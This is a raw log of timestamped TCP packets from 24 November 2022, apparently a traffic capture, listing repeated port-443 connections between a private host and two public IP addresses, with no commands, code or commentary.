Nov 24, 2022 16:59:04.955956936 CET	49925	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:04.955992937 CET	443	49925	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:05.021241903 CET	49927	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:05.021298885 CET	443	49927	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:05.021378040 CET	49927	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:05.021541119 CET	49927	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:05.021558046 CET	443	49927	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:05.021749973 CET	443	49927	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:05.076498032 CET	49928	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:05.076574087 CET	443	49928	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:05.076661110 CET	49928	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:05.078917980 CET	49928	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:05.078958988 CET	443	49928	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:05.133035898 CET	443	49928	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:05.133147955 CET	49928	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:05.134946108 CET	49928	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:05.134968042 CET	443	49928	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:05.137589931 CET	49928	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:05.137609959 CET	443	49928	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:05.161849976 CET	49929	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:05.161928892 CET	443	49929	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:05.162022114 CET	49929	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:05.162192106 CET	49929	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:05.162214994 CET	443	49929	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:05.162640095 CET	443	49929	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:05.302407980 CET	49930	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:05.302480936 CET	443	49930	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:05.302687883 CET	49930	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:05.302862883 CET	49930	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:05.302921057 CET	443	49930	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:05.303067923 CET	443	49930	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:05.305799961 CET	443	49928	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:05.305866957 CET	49928	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:05.305883884 CET	443	49928	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:05.305932999 CET	49928	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:05.305936098 CET	443	49928	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:05.306003094 CET	49928	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:05.326072931 CET	49928	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:05.326107025 CET	443	49928	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:05.427448988 CET	49931	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:05.427515030 CET	443	49931	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:05.427596092 CET	49931	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:05.427759886 CET	49931	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:05.427836895 CET	443	49931	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:05.427968025 CET	443	49931	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:05.468925953 CET	49932	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:05.468992949 CET	443	49932	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:05.469094038 CET	49932	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:05.471182108 CET	49932	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:05.471214056 CET	443	49932	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:05.523593903 CET	443	49932	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:05.523670912 CET	49932	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:05.524235964 CET	49932	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:05.524250031 CET	443	49932	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:05.527153015 CET	49932	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:05.527169943 CET	443	49932	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:05.568109989 CET	49933	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:05.568195105 CET	443	49933	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:05.568460941 CET	49933	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:05.568460941 CET	49933	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:05.568547010 CET	443	49933	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:05.568808079 CET	443	49933	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:05.683626890 CET	443	49932	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:05.683703899 CET	49932	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:05.683721066 CET	443	49932	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:05.683775902 CET	49932	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:05.683789015 CET	443	49932	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:05.683840036 CET	49932	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:05.685770035 CET	49932	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:05.685790062 CET	443	49932	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:05.697226048 CET	49934	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:05.697309971 CET	443	49934	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:05.697428942 CET	49934	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:05.697602987 CET	49934	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:05.697630882 CET	443	49934	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:05.697766066 CET	443	49934	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:05.799551010 CET	49935	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:05.799597025 CET	443	49935	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:05.799665928 CET	49935	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:05.802572966 CET	49935	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:05.802593946 CET	443	49935	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:05.818372965 CET	49936	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:05.818439960 CET	443	49936	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:05.818555117 CET	49936	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:05.818725109 CET	49936	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:05.818744898 CET	443	49936	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:05.818861961 CET	443	49936	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:05.856163025 CET	443	49935	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:05.856229067 CET	49935	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:05.858244896 CET	49935	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:05.858257055 CET	443	49935	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:05.861037016 CET	49935	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:05.861044884 CET	443	49935	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:05.927545071 CET	49937	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:05.927617073 CET	443	49937	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:05.927720070 CET	49937	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:05.927891016 CET	49937	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:05.927910089 CET	443	49937	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:05.928004980 CET	443	49937	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:06.016803980 CET	443	49935	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:06.016972065 CET	49935	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:06.017010927 CET	443	49935	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:06.017076969 CET	49935	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:06.022454977 CET	49935	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:06.022589922 CET	443	49935	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:06.022681952 CET	49935	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:06.068200111 CET	49938	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:06.068254948 CET	443	49938	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:06.068352938 CET	49938	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:06.068526030 CET	49938	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:06.068538904 CET	443	49938	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:06.068624973 CET	443	49938	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:06.142144918 CET	49939	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:06.142215967 CET	443	49939	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:06.142337084 CET	49939	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:06.144604921 CET	49939	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:06.144639015 CET	443	49939	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:06.198450089 CET	443	49939	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:06.198560953 CET	49939	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:06.205454111 CET	49939	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:06.205482960 CET	443	49939	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:06.205971956 CET	443	49939	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:06.206043005 CET	49939	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:06.206516027 CET	49939	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:06.206527948 CET	443	49939	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:06.208789110 CET	49940	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:06.208842993 CET	443	49940	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:06.208916903 CET	49940	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:06.209120989 CET	49940	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:06.209146023 CET	443	49940	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:06.209227085 CET	443	49940	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:06.319781065 CET	443	49939	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:06.319906950 CET	49939	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:06.319952965 CET	443	49939	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:06.320053101 CET	49939	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:06.320112944 CET	49939	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:06.320205927 CET	443	49939	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:06.320286036 CET	49939	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:06.333988905 CET	49941	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:06.334062099 CET	443	49941	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:06.334163904 CET	49941	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:06.334382057 CET	49941	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:06.334417105 CET	443	49941	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:06.334486961 CET	443	49941	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:06.435316086 CET	49942	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:06.435369968 CET	443	49942	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:06.435456038 CET	49942	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:06.435811996 CET	49942	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:06.435838938 CET	443	49942	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:06.459028006 CET	49943	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:06.459094048 CET	443	49943	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:06.459186077 CET	49943	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:06.459366083 CET	49943	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:06.459389925 CET	443	49943	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:06.459482908 CET	443	49943	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:06.484391928 CET	443	49942	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:06.484509945 CET	49942	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:06.492132902 CET	49942	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:06.492156982 CET	443	49942	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:06.492513895 CET	443	49942	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:06.492589951 CET	49942	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:06.493114948 CET	49942	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:06.493123055 CET	443	49942	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:06.583798885 CET	49944	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:06.583862066 CET	443	49944	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:06.584002018 CET	49944	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:06.584161043 CET	49944	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:06.584187984 CET	443	49944	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:06.584295988 CET	443	49944	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:06.600509882 CET	443	49942	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:06.600616932 CET	49942	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:06.600645065 CET	443	49942	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:06.600707054 CET	49942	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:06.601048946 CET	49942	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:06.601136923 CET	443	49942	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:06.601192951 CET	49942	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:06.709340096 CET	49945	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:06.709414005 CET	443	49945	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:06.709506989 CET	49945	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:06.709707022 CET	49945	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:06.709738970 CET	443	49945	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:06.709780931 CET	443	49945	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:06.726386070 CET	49946	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:06.726424932 CET	443	49946	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:06.726536989 CET	49946	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:06.727257013 CET	49946	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:06.727281094 CET	443	49946	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:06.775130033 CET	443	49946	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:06.775224924 CET	49946	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:06.781893969 CET	49946	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:06.781915903 CET	443	49946	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:06.782249928 CET	443	49946	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:06.782485962 CET	49946	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:06.782912016 CET	49946	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:06.782924891 CET	443	49946	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:06.818239927 CET	49947	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:06.818310022 CET	443	49947	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:06.818380117 CET	49947	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:06.818543911 CET	49947	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:06.818561077 CET	443	49947	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:06.818741083 CET	443	49947	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:06.909795046 CET	443	49946	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:06.909930944 CET	49946	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:06.909977913 CET	443	49946	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:06.910049915 CET	49946	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:06.910247087 CET	49946	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:06.910342932 CET	443	49946	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:06.910419941 CET	49946	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:07.025644064 CET	49948	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:07.025708914 CET	443	49948	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:07.025849104 CET	49948	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:07.026227951 CET	49948	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:07.026263952 CET	443	49948	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:07.037625074 CET	49949	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:07.037700891 CET	443	49949	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:07.037798882 CET	49949	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:07.037946939 CET	49949	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:07.037967920 CET	443	49949	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:07.038084984 CET	443	49949	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:07.086131096 CET	443	49948	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:07.086250067 CET	49948	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:07.091240883 CET	49948	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:07.091270924 CET	443	49948	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:07.091705084 CET	443	49948	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:07.093708038 CET	49948	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:07.094228983 CET	49948	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:07.094253063 CET	443	49948	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:07.237030983 CET	443	49948	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:07.237168074 CET	443	49948	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:07.237231970 CET	49948	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:07.237232924 CET	49948	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:07.237368107 CET	49948	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:07.237404108 CET	443	49948	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:07.256470919 CET	49950	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:07.256542921 CET	443	49950	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:07.256627083 CET	49950	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:07.256798029 CET	49950	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:07.256819963 CET	443	49950	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:07.256897926 CET	443	49950	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:07.355057955 CET	49951	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:07.355140924 CET	443	49951	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:07.355241060 CET	49951	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:07.356415033 CET	49951	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:07.356456041 CET	443	49951	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:07.412261963 CET	443	49951	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:07.412352085 CET	49951	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:07.415296078 CET	49951	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:07.415316105 CET	443	49951	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:07.417948961 CET	49951	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:07.417974949 CET	443	49951	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:07.459981918 CET	49952	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:07.460040092 CET	443	49952	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:07.460138083 CET	49952	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:07.460325956 CET	49952	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:07.460350990 CET	443	49952	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:07.460429907 CET	443	49952	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:07.525835037 CET	443	49951	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:07.525973082 CET	443	49951	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:07.526081085 CET	49951	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:07.526170015 CET	49951	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:07.526170015 CET	49951	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:07.583969116 CET	49953	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:07.584053040 CET	443	49953	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:07.584156990 CET	49953	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:07.584336996 CET	49953	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:07.584358931 CET	443	49953	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:07.584477901 CET	443	49953	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:07.632853985 CET	49954	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:07.632920027 CET	443	49954	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:07.633013010 CET	49954	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:07.633474112 CET	49954	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:07.633497953 CET	443	49954	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:07.691045046 CET	443	49954	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:07.691165924 CET	49954	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:07.691864967 CET	49954	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:07.691885948 CET	443	49954	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:07.693315983 CET	49955	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:07.693403006 CET	443	49955	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:07.693517923 CET	49955	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:07.693794966 CET	49955	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:07.693833113 CET	443	49955	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:07.693900108 CET	443	49955	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:07.694839954 CET	49954	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:07.694871902 CET	443	49954	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:07.802654982 CET	49956	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:07.802719116 CET	443	49956	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:07.805042028 CET	49956	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:07.805042028 CET	49956	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:07.805133104 CET	443	49956	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:07.805249929 CET	443	49956	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:07.854130030 CET	443	49954	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:07.854348898 CET	443	49954	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:07.854464054 CET	49954	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:07.854911089 CET	49954	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:07.854945898 CET	443	49954	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:07.949242115 CET	49951	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:07.949299097 CET	443	49951	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:07.962363958 CET	49957	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:07.962430954 CET	443	49957	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:07.962536097 CET	49957	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:07.962830067 CET	49957	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:07.962852001 CET	443	49957	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:08.006736040 CET	443	49957	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:08.006920099 CET	49957	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:08.007422924 CET	49957	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:08.007442951 CET	443	49957	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:08.010102034 CET	49957	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:08.010114908 CET	443	49957	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:08.021543026 CET	49958	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:08.021598101 CET	443	49958	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:08.021688938 CET	49958	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:08.021852016 CET	49958	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:08.021872044 CET	443	49958	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:08.021960974 CET	443	49958	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:08.153001070 CET	443	49957	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:08.153202057 CET	49957	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:08.153229952 CET	443	49957	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:08.155920982 CET	49957	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:08.155997992 CET	49957	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:08.156092882 CET	443	49957	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:08.156199932 CET	49957	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:08.240873098 CET	49959	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:08.240943909 CET	443	49959	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:08.243572950 CET	49959	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:08.243937969 CET	49959	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:59:08.243967056 CET	443	49959	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:08.244066954 CET	443	49959	162.19.175.163	192.168.2.3
Nov 24, 2022 16:59:08.272923946 CET	49960	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:08.272998095 CET	443	49960	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:08.273149967 CET	49960	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:08.273459911 CET	49960	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:08.273503065 CET	443	49960	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:08.330466986 CET	443	49960	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:08.330565929 CET	49960	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:08.336297035 CET	49960	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:08.336316109 CET	443	49960	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:08.336760998 CET	443	49960	172.66.43.60	192.168.2.3
Nov 24, 2022 16:59:08.336822987 CET	49960	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:08.337383986 CET	49960	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:59:08.337394953 CET	443	49960	172.66.43.60	192.168.2.3
